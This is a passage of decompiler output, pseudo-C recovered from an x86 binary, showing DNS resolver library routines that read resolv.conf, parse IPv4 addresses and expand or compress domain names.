0x0804CB93 - 0x0804CB93 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0804CB93() { } /* Procedure: 0x0804CB94 - 0x0804CBE3 * Argument size: 12 * Local size: 0 * Save regs size: 12 */ L0804CB94(A8, Ac, A10) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; { /* unknown */ void ebx; L0804C538(0); L0804cbac: do { ebx = L0804C5A4(); if(ebx == 0) { break; } if(*(ebx + 8) != A10) { goto L0804cbac; } } while(L08056450( *( *(ebx + 16)), A8, Ac) != 0); L0804C574(); return(ebx); } /* Procedure: 0x0804CBE4 - 0x0804CE88 * Argument size: 8 * Local size: 96 * Save regs size: 12 */ L0804CBE4(A8, Ac) /* unknown */ void A8; /* unknown */ void Ac; { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void edi; /* unknown */ void Vffffffa0; /* unknown */ void Vffffffa4; /* unknown */ void Vffffffa8; /* unknown */ void Vffffffac; /* unknown */ void Vffffffb0; /* unknown */ void Vffffffb4; /* unknown */ void Vffffffba; Vffffffb0 = 0; Vffffffb4 = A8; Vffffffa4 = 0; edi = Ac; if(Vffffffb0 < edi) { if(!(edi & 1)) { ecx = 0; eax = *L080786A8 >> 4 & 255; if(Vffffffb0 < eax) { esi = *edx; ebx = eax; Vffffffa0 = 0; do { eax = *esi; edx = Vffffffa0; eax = eax & *(edx + 0x80786b0); if(*(edx + 0x80786ac) == eax) { break; } Vffffffa0 = edx + 8; ecx = ecx + 1; } while(ecx < ebx); } edi = Vffffffa4; *(ebp + edi * 2 - 72) = cx; if(Vffffffb0 == 0 && edi > 0) { eax = *(ebp + edi * 2 - 74); if(ecx < eax) { Vffffffb0 = edi; } } Vffffffa4 = Vffffffa4 + 1; Vffffffb4 = Vffffffb4 + 4; } else { L0804cc80: ecx = 0; eax = *L080786A8 >> 4 & 255; if(0 < eax) { esi = *Vffffffb4; ebx = eax; Vffffffa0 = 0; do { eax = *esi; edx = Vffffffa0; eax = eax & *(edx + 0x80786b0); if(*(edx + 0x80786ac) == eax) { break; } Vffffffa0 = edx + 8; ecx = ecx + 1; } while(ecx < ebx); } edi = Vffffffa4; *(ebp + edi * 2 - 72) = cx; if(Vffffffb0 == 0 && edi > 0) { eax = *(ebp + edi * 2 - 74); if(ecx < eax) { Vffffffb0 = edi; } } esi = Vffffffa4 + 1; ecx = 0; eax = *L080786A8 >> 4 & 255; if(0 < eax) { Vffffffa8 = *(Vffffffb4 + 4); ebx = eax; Vffffffa0 = 0; do { edi = Vffffffa0; eax = *Vffffffa8 & *(edi + 0x80786b0); if(*(edi + 0x80786ac) == eax) { break; } Vffffffa0 = edi + 8; ecx = ecx + 1; } while(ecx < ebx); } *(ebp + esi * 2 - 72) = cx; if(Vffffffb0 == 0 && esi > 0) { eax = *(ebp + esi * 2 - 74); if(ecx < eax) { Vffffffb0 = esi; } } Vffffffa4 = Vffffffa4 + 2; Vffffffb4 = Vffffffb4 + 8; } if(Vffffffa4 < Ac) { goto L0804cc80; } } if(Vffffffb0 != 0) { edi = Ac; if(Vffffffb0 < edi) { edx = & Vffffffba; Vffffffac = edx; if(edi - Vffffffb0 & 1) { goto L0804cdd8; } if(!(ecx = Vffffffb0 - 1)) { esi = A8 + ecx * 4; ebx = edx + ecx * 2; do { ax = *(ebp + ecx * 2 - 72); if(*ebx >= ax) { break; } Vffffffa4 = ax; *(ebp + ecx * 2 - 72) = *ebx; *ebx = Vffffffa4; edx = *esi; edi = A8; eax = *(edi + ecx * 4 + 4); *esi = eax; *(edi + ecx * 4 + 4) = edx; esi = esi + -4; ebx = ebx + -2; } while(ecx = ecx - 1); } Vffffffb0 = Vffffffb0 + 1; if(Vffffffb0 < Ac) { L0804cdd8: do { if(!(ecx = Vffffffb0 - 1)) { esi = A8 + ecx * 4; ebx = Vffffffac + ecx * 2; do { ax = *(ebp + ecx * 2 - 72); if(*ebx >= ax) { break; } Vffffffa4 = ax; *(ebp + ecx * 2 - 72) = *ebx; *ebx = Vffffffa4; edi = *esi; edx = A8; eax = *(edx + ecx * 4 + 4); *esi = eax; *(edx + ecx * 4 + 4) = edi; esi = esi + -4; ebx = ebx + -2; } while(ecx = ecx - 1); } ecx = Vffffffb0; if(ecx >= 0) { esi = A8 + ecx * 4; ebx = Vffffffac + ecx * 2; do { ax = *(ebp + ecx * 2 - 72); if(*ebx >= ax) { break; } Vffffffa4 = ax; *(ebp + ecx * 2 - 72) = *ebx; *ebx = Vffffffa4; edi = *esi; edx = A8; eax = *(edx + ecx * 4 + 4); *esi = eax; *(edx + ecx * 4 + 4) = edi; esi = esi + -4; ebx = ebx + -2; } while(ecx = ecx - 1); } Vffffffb0 = Vffffffb0 + 2; } while(Vffffffb0 < Ac); } } } esp = ebp - 108; } /* Procedure: 0x0804CE89 - 0x0804CE8B * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0804CE89() { } /* Procedure: 0x0804CE8C - 0x0804CEB2 * Argument size: 0 * Local size: 4 * Save regs size: 0 */ L0804CE8C(A8) /* unknown */ void A8; { /* unknown */ void Vfffffffc; if(L0804CEB4(A8, & Vfffffffc) == 0) { return(-1); } esp = ebp; return(Vfffffffc); } /* Procedure: 0x0804CEB3 - 0x0804CEB3 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0804CEB3() { } /* Procedure: 0x0804CEB4 - 0x0804D02A * Argument size: 8 * Local size: 28 * Save regs size: 12 */ L0804CEB4(A8, Ac) /* unknown */ void A8; /* unknown */ void Ac; { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void edi; /* unknown */ void Vffffffe4; /* unknown */ void Vffffffe8; /* unknown */ void Vffffffec; /* unknown */ void Vfffffff0; /* unknown */ void Vfffffff4; /* unknown */ void Vfffffff8; /* unknown */ void Vfffffffc; ebx = A8; for(Vffffffe8 = & Vfffffff0; 1; ebx = ebx + 1) { esi = 0; Vffffffec = 10; if(*ebx == 48) { ebx = ebx + 1; if(*ebx != 120) { if(*ebx == 88) { goto L0804cee1; } L0804ceec: Vffffffec = 8; } else { L0804cee1: Vffffffec = 16; ebx = ebx + 1; } } al = *ebx; if(al != 0) { edi = *L08078FA0; do { if(al >= 0) { edx = al & 255; if(!( *(edi + edx * 2 + 1) & 8)) { goto L0804cf0e; } } if(Vffffffec != 16 || al < 0) { break; } eax = eax & 255; if(*(edi + eax * 2 + 1) & 16) { break; } ecx = eax + 10; Vffffffe4 = ecx; edx = esi << 4; if(*(edi + eax * 2 + 1) & 2) { esi = Vffffffe4 + edx - 65; } else { esi = ecx + edx - 97; goto L0804cf53; L0804cf0e: eax = Vffffffec; esi = esi * eax; esi = edx + eax - 48; } L0804cf53: ebx = ebx + 1; al = *ebx; } while(al != 0); } if(*ebx != 46) { goto L0804cf84; } eax = & Vfffffffc; if(Vffffffe8 >= eax || esi > 255) { goto L0804cfec; } ecx = Vffffffe8; *ecx = esi; Vffffffe8 = ecx + 4; } goto L0804ceec; L0804cf84: if(*ebx != 0) { < ? L0804cfec : ; edx = *ebx & 255; if(*( *L08078FA0 + edx * 2 + 1) & 32) { goto L0804cfec; } } eax = (Vffffffe8 - & Vfffffff0 >> 2) + 1; if(eax != 2) { <= ? L0804d008 : ; if(eax == 3) { goto L0804cfcc; } if(eax == 4) { goto L0804cfe4; } } else { if(esi <= 16777215) { eax = Vfffffff0 << 24; goto L0804d006; L0804cfcc: if(esi <= 65535) { eax = Vfffffff0 << 24; edx = Vfffffff4 << 16; goto L0804d004; L0804cfe4: if(esi <= 255) { goto L0804cff0; } } } L0804cfec: eax = 0; goto L0804d021; L0804cff0: eax = Vfffffff0 << 24 | Vfffffff4 << 16; edx = Vfffffff8 << 8; L0804d004: eax = eax | edx; L0804d006: esi = esi | eax; } if(Ac != 0) { eax = esi; asm("xchg al,ah"); asm("ror eax,0x10"); asm("xchg al,ah"); *Ac = eax; } eax = 1; L0804d021: esp = ebp - 40; } /* Procedure: 0x0804D02B - 0x0804D02B * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0804D02B() { } /* Procedure: 0x0804D02C - 0x0804D29F * Argument size: 20 * Local size: 12 * Save regs size: 12 */ L0804D02C(A8, Ac, A10, A14, A18) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; /* unknown */ void A14; /* unknown */ void A18; { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void edi; /* unknown */ void Vfffffff4; /* unknown */ void Vfffffff8; /* unknown */ void Vfffffffc; Vfffffffc = -1; Vfffffff8 = 0; ecx = A14; Vfffffff4 = ecx + A18; edi = A10; esi = *edi & 255; ebx = edi; goto L0804d257; L0804d24a: eax = -1; goto L0804d296; L0804d257: while(1) { ebx = ebx + 1; if(esi == 0) { break; } if(eax = esi & 192) { if(A14 != ecx) { if(Vfffffff4 <= ecx) { goto L0804d24a; } *ecx = 46; ecx = ecx + 1; } eax = esi + ecx; if(Vfffffff4 <= eax) { goto L0804d24a; } Vfffffff8 = esi + Vfffffff8 + 1; if(!(esi = esi - 1)) { eax = !esi & 3; if(esi > -1) { if(eax == 0) { goto L0804d158; } if(eax < 3) { if(eax < 2) { edx = *ebx & 255; ebx = ebx + 1; if(edx == 46 || edx == 92) { eax = esi + ecx + 2; if(Vfffffff4 <= eax) { goto L0804d24a; } *ecx = 92; ecx = ecx + 1; } *ecx = dl; ecx = ecx + 1; if(Ac <= ebx) { goto L0804d24a; } esi = esi - 1; } edx = *ebx & 255; ebx = ebx + 1; if(edx == 46 || edx == 92) { eax = esi + ecx + 2; if(Vfffffff4 <= eax) { goto L0804d24a; } *ecx = 92; ecx = ecx + 1; } *ecx = dl; ecx = ecx + 1; if(Ac <= ebx) { goto L0804d24a; } esi = esi - 1; } } edx = *ebx & 255; ebx = ebx + 1; if(edx == 46 || edx == 92) { eax = esi + ecx + 2; if(Vfffffff4 <= eax) { goto L0804d24a; } *ecx = 92; ecx = ecx + 1; } *ecx = dl; ecx = ecx + 1; if(Ac <= ebx) { goto L0804d24a; } if(!(esi = esi - 1)) { L0804d158: do { edx = *ebx & 255; ebx = ebx + 1; if(edx == 46 || edx == 92) { if(Vfffffff4 <= esi + ecx + 2) { goto L0804d24a; } *ecx = 92; ecx = ecx + 1; } *ecx = dl; ecx = ecx + 1; if(Ac <= ebx) { goto L0804d24a; } eax = esi - 1; edx = *ebx & 255; ebx = ebx + 1; if(edx == 46 || edx == 92) { if(Vfffffff4 <= eax + ecx + 2) { goto L0804d24a; } *ecx = 92; ecx = ecx + 1; } *ecx = dl; ecx = ecx + 1; if(Ac <= ebx) { goto L0804d24a; } eax = esi - 2; edx = *ebx & 255; ebx = ebx + 1; if(edx == 46 || edx == 92) { if(Vfffffff4 <= eax + ecx + 2) { goto L0804d24a; } *ecx = 92; ecx = ecx + 1; } *ecx = dl; ecx = ecx + 1; if(Ac <= ebx) { goto L0804d24a; } eax = esi - 3; edx = *ebx & 255; ebx = ebx + 1; if(edx == 46 || edx == 92) { eax = eax + ecx + 2; if(Vfffffff4 <= eax) { goto L0804d24a; } *ecx = 92; ecx = ecx + 1; } *ecx = dl; ecx = ecx + 1; if(Ac <= ebx) { goto L0804d24a; } } while(esi = esi + -4); } } } else { if(eax != 192) { goto L0804d24a; } if(Vfffffffc < 0) { Vfffffffc = ebx - A10 + 1; } eax = (esi & 63) << 8; eax = eax | *ebx & 255; ebx = A8 + eax; if(A8 > ebx || Ac <= ebx) { goto L0804d24a; } Vfffffff8 = Vfffffff8 + 2; eax = Ac - A8; if(Vfffffff8 >= eax) { goto L0804d24a; } } esi = *ebx & 255; } *ecx = 0; ecx = A14; edx = *ecx & 255; if(edx != 0) { eax = *L08078FA0; do { if(dl >= 0 && *(eax + edx * 2 + 1) & 32) { goto L0804d24a; } ecx = ecx + 1; edx = *ecx & 255; } while(edx != 0); } if(Vfffffffc < 0) { Vfffffffc = ebx - A10; } eax = Vfffffffc; L0804d296: esp = ebp - 24; } /* Procedure: 0x0804D2A0 - 0x0804D402 * Argument size: 20 * Local size: 20 * Save regs size: 12 */ L0804D2A0(A8, Ac, A10, A14, A18) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; /* unknown */ void A14; /* unknown */ void A18; { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void edi; /* unknown */ void Vffffffec; /* unknown */ void Vfffffff0; /* unknown */ void Vfffffff4; /* unknown */ void Vfffffff8; /* unknown */ void Vfffffffc; esi = A8; edi = Ac; Vfffffff4 = edi + A10; Vfffffffc = 0; Vfffffff8 = 0; if(A14 != 0) { edx = *A14; Vfffffff0 = edx; A14 = A14 + 4; if(Vfffffff0 == 0) { goto L0804d30b; } edx = A14; Vfffffffc = edx; do { Vfffffffc = Vfffffffc + 4; } while(*Vfffffffc != 0); Vfffffff8 = Vfffffffc; goto L0804d30b; L0804d2fc: edi = edi - 1; } else { Vfffffff0 = 0; L0804d30b: ebx = *esi & 255; esi = esi + 1; if(ebx != 0) { do { if(Vfffffff0 != 0) { eax = L0804D484(esi - 1, Vfffffff0, A14, Vfffffff8); if(eax >= 0) { goto L0804d33c; } if(A18 != 0 && Vfffffffc < A18 + -4) { edx = Vfffffffc; *edx = edi; edx = edx + 4; Vfffffffc = edx; *Vfffffffc = 0; } } Vffffffec = edi; edi = edi + 1; do { if(ebx == 46) { goto L0804d3ac; } if(ebx == 92) { ebx = *esi & 255; esi = esi + 1; if(ebx == 0) { break; } } if(Vfffffff4 <= edi) { goto L0804d3da; } *edi = bl; edi = edi + 1; ebx = *esi & 255; esi = esi + 1; } while(ebx != 0); goto L0804d3b0; L0804d3ac: ebx = *esi & 255; esi = esi + 1; L0804d3b0: if(!(ecx = edi - Vffffffec - 1) && ebx == 0) { goto L0804d2fc; } if(ecx - 1 > 62) { goto L0804d3da; } *Vffffffec = cl; } while(ebx != 0); goto L0804d3d5; L0804d33c: ebx = edi + 1; if(Vfffffff4 <= ebx) { goto L0804d3e9; } *edi = eax >> 8 | 192; edi = ebx; edx = edi; edi = edi + 1; *edx = cl; goto L0804d3f4; } } L0804d3d5: if(Vfffffff4 <= edi) { L0804d3da: if(Vfffffff0 != 0) { *Vfffffff8 = 0; } L0804d3e9: eax = -1; } else { *edi = 0; edi = edi + 1; L0804d3f4: eax = edi - Ac; } esp = ebp - 32; } /* Procedure: 0x0804D403 - 0x0804D403 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0804D403() { } /* Procedure: 0x0804D404 - 0x0804D455 * Argument size: 8 * Local size: 0 * Save regs size: 8 */ L0804D404(A8, Ac) /* unknown */ void A8; /* unknown */ void Ac; { eax = A8; if(A8 < Ac) { do { edx = *eax & 255; eax = eax + 1; if(edx == 0) { break; } if(!(ecx = edx & 192)) { goto L0804d42a; } eax = eax + edx; } while(eax < Ac); goto L0804d440; L0804d42a: if(ecx != 192) { goto L0804d448; } eax = eax + 1; } L0804d440: if(eax <= Ac) { eax = eax - A8; } else { L0804d448: eax = -1; } } /* Procedure: 0x0804D456 - 0x0804D457 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0804D456() { } /* Procedure: 0x0804D458 - 0x0804D481 * Argument size: 4 * Local size: 0 * Save regs size: 0 */ L0804D458(A8) /* unknown */ void A8; { if(A8 >= 0 && !( *( *L08078FA0 + edx * 2 + 1) & 1)) { return(*( *L08078FA4 + edx * 4)); } eax = edx; esp = ebp; } /* Procedure: 0x0804D482 - 0x0804D483 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0804D482() { } /* Procedure: 0x0804D484 - 0x0804D6B6 * Argument size: 16 * Local size: 36 * Save regs size: 12 */ L0804D484(A8, Ac, A10, A14) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; /* unknown */ void A14; { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void edi; /* unknown */ void Vffffffdc; /* unknown */ void Vffffffe0; /* unknown */ void Vffffffe4; /* unknown */ void Vffffffe8; /* unknown */ void Vffffffec; /* unknown */ void Vfffffff0; /* unknown */ void Vfffffff4; /* unknown */ void Vfffffff8; /* unknown */ void Vfffffffc; Vfffffffc = A10; goto L0804d69c; L0804d68f: eax = Vfffffff8 - Ac; goto L0804d6ad; L0804d69c: while(Vfffffffc < A14) { ebx = A8; ecx = *Vfffffffc; Vfffffff8 = ecx; esi = *ecx & 255; for(edi = ecx; 1; esi = *edi & 255) { edi = edi + 1; if(esi == 0) { break; } if(eax = esi & 192) { if(!(esi = esi - 1)) { eax = !esi & 3; if(esi > -1) { if(eax == 0) { goto L0804d590; } if(eax < 3) { if(eax < 2) { if(*ebx == 46) { goto L0804d698; } if(*ebx == 92) { ebx = ebx + 1; } ebx = ebx + 1; Vfffffff4 = L0804D458( *ebx & 255); edi = edi + 1; if(Vfffffff4 != L0804D458( *edi & 255)) { goto L0804d698; } esi = esi - 1; } if(*ebx == 46) { goto L0804d698; } if(*ebx == 92) { ebx = ebx + 1; } ebx = ebx + 1; Vfffffff0 = L0804D458( *ebx & 255); edi = edi + 1; if(Vfffffff0 != L0804D458( *edi & 255)) { goto L0804d698; } esi = esi - 1; } } if(*ebx == 46) { goto L0804d698; } if(*ebx == 92) { ebx = ebx + 1; } ebx = ebx + 1; Vffffffec = L0804D458( *ebx & 255); edi = edi + 1; if(Vffffffec != L0804D458( *edi & 255)) { goto L0804d698; } if(!(esi = esi - 1)) { L0804d590: do { if(*ebx == 46) { goto L0804d698; } if(*ebx == 92) { ebx = ebx + 1; } ebx = ebx + 1; Vffffffe8 = L0804D458( *ebx & 255); edi = edi + 1; if(Vffffffe8 != L0804D458( *edi & 255)) { goto L0804d698; } esi = esi - 1; if(*ebx == 46) { goto L0804d698; } if(*ebx == 92) { ebx = ebx + 1; } ebx = ebx + 1; Vffffffe4 = L0804D458( *ebx & 255); edi = edi + 1; if(Vffffffe4 != L0804D458( *edi & 255)) { goto L0804d698; } esi = esi - 1; if(*ebx == 46) { goto L0804d698; } if(*ebx == 92) { ebx = ebx + 1; } ebx = ebx + 1; Vffffffe0 = L0804D458( *ebx & 255); edi = edi + 1; if(Vffffffe0 != L0804D458( *edi & 255)) { goto L0804d698; } esi = esi - 1; if(*ebx == 46) { goto L0804d698; } if(*ebx == 92) { ebx = ebx + 1; } ebx = ebx + 1; Vffffffdc = L0804D458( *ebx & 255); edi = edi + 1; if(Vffffffdc != L0804D458( *edi & 255)) { goto L0804d698; } } while(esi = esi - 1); } } esi = *ebx & 255; ebx = ebx + 1; if(esi == 0 && *edi == 0) { goto L0804d68f; } if(esi == 46) { goto L0804d67e; } else { goto L0804d698; } } if(eax != 192) { goto L0804d6a8; } eax = (esi & 63) << 8; eax = eax | *edi & 255; edi = Ac + eax; L0804d67e: } if(*ebx == 0) { goto L0804d68f; } L0804d698: Vfffffffc = Vfffffffc + 4; } L0804d6a8: eax = -1; L0804d6ad: esp = ebp - 48; } /* Procedure: 0x0804D6B7 - 0x0804D6B7 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0804D6B7() { } /* Procedure: 0x0804D6B8 - 0x0804D6D2 * Argument size: 4 * Local size: 0 * Save regs size: 0 */ L0804D6B8(A8) /* unknown */ void A8; { dx = *A8 << 8; return((dx | *(A8 + 1) & 65535) & 65535); } /* Procedure: 0x0804D6D3 - 0x0804D6D3 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0804D6D3() { } /* Procedure: 0x0804D6D4 - 0x0804D6FC * Argument size: 4 * Local size: 0 * Save regs size: 0 */ L0804D6D4(A8) /* unknown */ void A8; { ecx = *A8 << 24; ecx = ecx | ( *(A8 + 1) & 255) << 16; ecx = ecx | ( *(A8 + 2) & 255) << 8; return(ecx | *(A8 + 3) & 255); } /* Procedure: 0x0804D6FD - 0x0804D6FF * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0804D6FD() { } /* Procedure: 0x0804D700 - 0x0804D718 * Argument size: 8 * Local size: 0 * Save regs size: 0 */ L0804D700(A8, Ac) /* unknown */ void A8; /* unknown */ void Ac; { *Ac = A8 >> 8; *(Ac + 1) = A8; return(*Ac); } /* Procedure: 0x0804D719 - 0x0804D71B * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0804D719() { } /* Procedure: 0x0804D71C - 0x0804D742 * Argument size: 8 * Local size: 0 * Save regs size: 0 */ L0804D71C(A8, Ac) /* unknown */ void A8; /* unknown */ void Ac; { eax = ecx >> 24; *Ac = al; eax = ecx >> 16; *(Ac + 1) = al; *(Ac + 2) = ecx >> 8; *(Ac + 3) = A8; return(*(Ac + 2)); } /* Procedure: 0x0804D743 - 0x0804D743 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0804D743() { } /* Procedure: 0x0804D744 - 0x0804DE65 * Argument size: 0 * Local size: 1060 * Save regs size: 12 */ L0804D744() { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void edi; /* unknown */ void Vfffffbdc; /* unknown */ void Vfffffbe0; /* unknown */ void Vfffffbe4; /* unknown */ void Vfffffbe8; /* unknown */ void Vfffffbec; /* unknown */ void Vfffffbf0; /* unknown */ void Vfffffbf4; /* unknown */ void Vfffffbf8; /* unknown */ void Vfffffbfc; /* unknown */ void Vfffffc00; /* unknown */ void Vfffffc06; /* unknown */ void Vfffffc07; /* unknown */ void Vfffffc08; /* unknown */ void Vfffffc0a; Vfffffbf0 = 0; Vfffffbec = 0; Vfffffbe8 = 0; Vfffffbe4 = 0; if(*L08078544 == 0) { *L08078544 = 5; } if(*L08078548 == 0) { *L08078548 = 4; } if(!( *L0807854C & 1)) { *L0807854C = 704; } if(*L08078584 == 0) { L0804DFB4(); *L08078584 = ax; } *L08078558 = 0; *L08078554 = 2; *L08078556 = 13568; *L08078550 = 1; *L080786A8 = *L080786A8 & 240; *L080786A8 = *L080786A8 | 1; *L080786A4 = 0; ebx = L08055668("LOCALDOMAIN"); if(ebx != 0) { L0805680C(0x80785a4, ebx, 255); Vfffffbec = Vfffffbec + 1; ebx = 0x80785a4; *L08078588 = 0x80785a4; edx = 0x807858c; esi = 0; if(*L080785A4 != 0) { do { if(edx >= 0x80785a0 || *ebx == 10) { break; } if(*ebx != 32) { if(*ebx == 9) { goto L0804d86b; } if(esi != 0) { *edx = ebx; edx = edx + 4; esi = 0; Vfffffbe8 = 1; } } else { L0804d86b: *ebx = 0; esi = 1; } ebx = ebx + 1; } while(*ebx != 0); while(*ebx != 0 && *ebx != 32 && *ebx + 247 > 1) { ebx = ebx + 1; } } *ebx = 0; *edx = 0; } eax = L0804F620("/etc/resolv.conf", "r"); Vfffffbf4 = eax; if(Vfffffbf4 != 0) { Vfffffbdc = & Vfffffc00; L0804d8e0: while(1) { if(L0804F5C4(Vfffffbdc, 1024, Vfffffbf4) == 0) { goto L0804dd98; } if(Vfffffc00 == 59 || Vfffffc00 == 35) { continue; } if(L08057B04(Vfffffbdc, "domain", 6) != 0 || Vfffffc06 != 32 && Vfffffc06 != 9) { L0804d9c0: if(L08057B04(Vfffffbdc, "search", 6) != 0 || Vfffffc06 != 32 && Vfffffc06 != 9) { if(L08057B04(Vfffffbdc, "nameserver", 10) == 0) { if(Vfffffc0a == 32) { goto L0804db0c; } if(Vfffffc0a == 9) { L0804db0c: if(Vfffffbf0 <= 2) { goto L0804db19; } } } if(L08057B04(Vfffffbdc, "sortlist", 8) != 0 || Vfffffc08 != 32 && Vfffffc08 != 9) { if(L08057B04(Vfffffbdc, "options", 7) != 0 || Vfffffc07 != 32 && Vfffffc07 != 9) { continue; } L0804DE68( & Vfffffc07, "conf"); continue; } ebx = & Vfffffc08; if(Vfffffbe4 > 9) { continue; } edi = Vfffffbe4 * 8; do { if(*ebx == 32 || *ebx == 9) { ebx = ebx + 1; continue; } if(*ebx == 0 || *ebx == 10 || *ebx == 59) { goto L0804d8e0; } Vfffffbe0 = ebx; do { if(L08057970("/&", *ebx & 255) != 0 || *ebx == 59 || *ebx < 0) { break; } edx = *ebx & 255; if(*( *L08078FA0 + edx * 2 + 1) & 32) { break; } ebx = ebx + 1; } while(*ebx != 0); esi = *ebx & 255; *ebx = 0; if(L0804CEB4(Vfffffbe0, & Vfffffbf8) != 0) { *(edi + 0x80786ac) = Vfffffbf8; if(L08057970("/&", esi) != 0) { *ebx = esi; ebx = ebx + 1; Vfffffbe0 = ebx; if(*ebx != 0 && *ebx != 59 && *ebx >= 0) { eax = *ebx & 255; edx = *L08078FA0; if(!( *(edx + eax * 2 + 1) & 32)) { do { ebx = ebx + 1; if(*ebx == 0 || *ebx == 59 || *ebx < 0) { goto L0804dce6; } } while(*(edx + ( *ebx & 255) * 2 + 1) & 32); } } L0804dce6: esi = *ebx & 255; *ebx = 0; if(L0804CEB4(Vfffffbe0, & Vfffffbf8) != 0) { goto L0804dd0c; } } *(edi + 0x80786b0) = L0804DF74( *(edi + 0x80786ac)); goto L0804dd29; L0804dd0c: *(edi + 0x80786b0) = Vfffffbf8; L0804dd29: edi = edi + 8; Vfffffbe4 = Vfffffbe4 + 1; } *ebx = esi; } while(Vfffffbe4 <= 9); continue; L0804db19: ebx = & Vfffffc0a; if(Vfffffc0a == 32 || Vfffffc0a == 9) { do { ebx = ebx + 1; if(*ebx == 32) { continue; } } while(*ebx == 9); } if(*ebx == 0 || *ebx == 10 || L0804CEB4(ebx, & Vfffffbfc) == 0) { continue; } edx = Vfffffbf0 << 4; *(edx + 0x8078558) = Vfffffbfc; *(edx + 0x8078554) = 2; *(edx + 0x8078556) = 13568; Vfffffbf0 = Vfffffbf0 + 1; continue; } if(Vfffffbec != 0) { continue; } ebx = & Vfffffc06; if(Vfffffc06 == 32 || Vfffffc06 == 9) { do { ebx = ebx + 1; if(*ebx == 32) { continue; } } while(*ebx == 9); } if(*ebx == 0 || *ebx == 10) { continue; } L0805680C(); ebx = L08057970(0x80785a4, 10, 0x80785a4, ebx, 255); if(ebx != 0) { *ebx = 0; } ebx = 0x80785a4; *L08078588 = 0x80785a4; edx = 0x807858c; esi = 0; if(*L080785A4 != 0) { do { if(edx >= 0x80785a0) { break; } if(*ebx != 32) { if(*ebx == 9) { goto L0804da92; } if(esi != 0) { *edx = ebx; edx = edx + 4; esi = 0; } } else { L0804da92: *ebx = 0; esi = 1; } ebx = ebx + 1; } while(*ebx != 0); while(*ebx != 0 && *ebx != 32 && *ebx != 9) { ebx = ebx + 1; } } *ebx = 0; *edx = 0; Vfffffbe8 = 1; continue; } if(Vfffffbec != 0) { continue; } ebx = & Vfffffc06; if(Vfffffc06 == 32 || Vfffffc06 == 9) { do { ebx = ebx + 1; if(*ebx == 32) { continue; } } while(*ebx == 9); } if(*ebx == 0 || *ebx == 10) { continue; } L0805680C(); ebx = L08057B30(0x80785a4, " \t\n", 0x80785a4, ebx, 255); if(ebx != 0) { *ebx = 0; } Vfffffbe8 = 0; } goto L0804d9c0; L0804dd98: if(Vfffffbf0 > 1) { *L08078550 = Vfffffbf0; } *L080786A8 = *L080786A8 & 15; *L080786A8 = *L080786A8 | Vfffffbe4 << 4; L0804F540(Vfffffbf4); } if(*L080785A4 == 0) { ebx = & Vfffffc00; if(L08056954(ebx, 255) == 0) { ebx = L08057970(ebx, 46); if(ebx != 0) { L08056640(0x80785a4, ebx + 1); } } } if(Vfffffbe8 == 0) { *L08078588 = 0x80785a4; *L0807858C = 0; } ebx = L08055668("RES_OPTIONS"); if(ebx != 0) { L0804DE68(ebx, "env"); } *L0807854C = *L0807854C | 1; esp = ebp + -1072; return(0); } /* Procedure: 0x0804DE66 - 0x0804DE67 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0804DE66() { } /* Procedure: 0x0804DE68 - 0x0804DF72 * Argument size: 8 * Local size: 0 * Save regs size: 12 */ L0804DE68(A8, Ac) /* unknown */ void A8; /* unknown */ void Ac; { /* unknown */ void ebx; ebx = A8; if(!( *L0807854C & 2)) { eax = L0804F7EC(";; res_setoptions(\"%s\", \"%s\")...\n", ebx, Ac); } L0804df60: while(*ebx != 0) { while(*ebx == 32 || *ebx == 9) { ebx = ebx + 1; } if(L08057B04(ebx, "ndots:", 6) != 0) { eax = L08057B04(ebx, "debug", 5); if(eax == 0) { if(!( *L0807854C & 2)) { L0804F7EC(";; res_setoptions(\"%s\", \"%s\")..\n", A8, Ac); *L0807854C = *L0807854C | 2; } eax = L0804F7EC(";;\tdebug\n"); } } else { eax = L08056064(ebx + 6, 0, 10, 0); if(eax > 15) { *L080786A8 = *L080786A8 | 15; } else { *L080786A8 = *L080786A8 & 240; *L080786A8 = *L080786A8 | al & 15; } if(!( *L0807854C & 2)) { eax = L0804F7EC(";;\tndots=%d\n", *L080786A8 & 15); } } while(1) { if(*ebx == 0) { goto L0804df69; } if(*ebx == 32 || *ebx == 9) { goto L0804df60; } ebx = ebx + 1; } } L0804df69: } /* Procedure: 0x0804DF73 - 0x0804DF73 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0804DF73() { } /* Procedure: 0x0804DF74 - 0x0804DFB0 * Argument size: 4 * Local size: 0 * Save regs size: 0 */ L0804DF74(A8) /* unknown */ void A8; { asm("xchg al,ah"); asm("ror eax,0x10"); asm("xchg al,ah"); if(A8 >= 0) { return(255); } if((A8 & -1073741824) != -2147483648) { esp = ebp; return(16777215); } esp = ebp; return(65535); } /* Procedure: 0x0804DFB1 - 0x0804DFB3 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0804DFB1() { } /* Procedure: 0x0804DFB4 - 0x0804DFDF * Argument size: -8 * Local size: 8 * Save regs size: 0 */ L0804DFB4() { /* unknown */ void Vfffffff8; /* unknown */ void Vfffffffc; (save)0; (save) & Vfffffff8; L08057254(); eax = L08057230(); edx = eax; return((Vfffffff8 ^ Vfffffffc ^ dx) & 65535); } /* Procedure: 0x0804DFE0 - 0x0804E17E * Argument size: 20 * Local size: 1024 * Save regs size: 12 */ 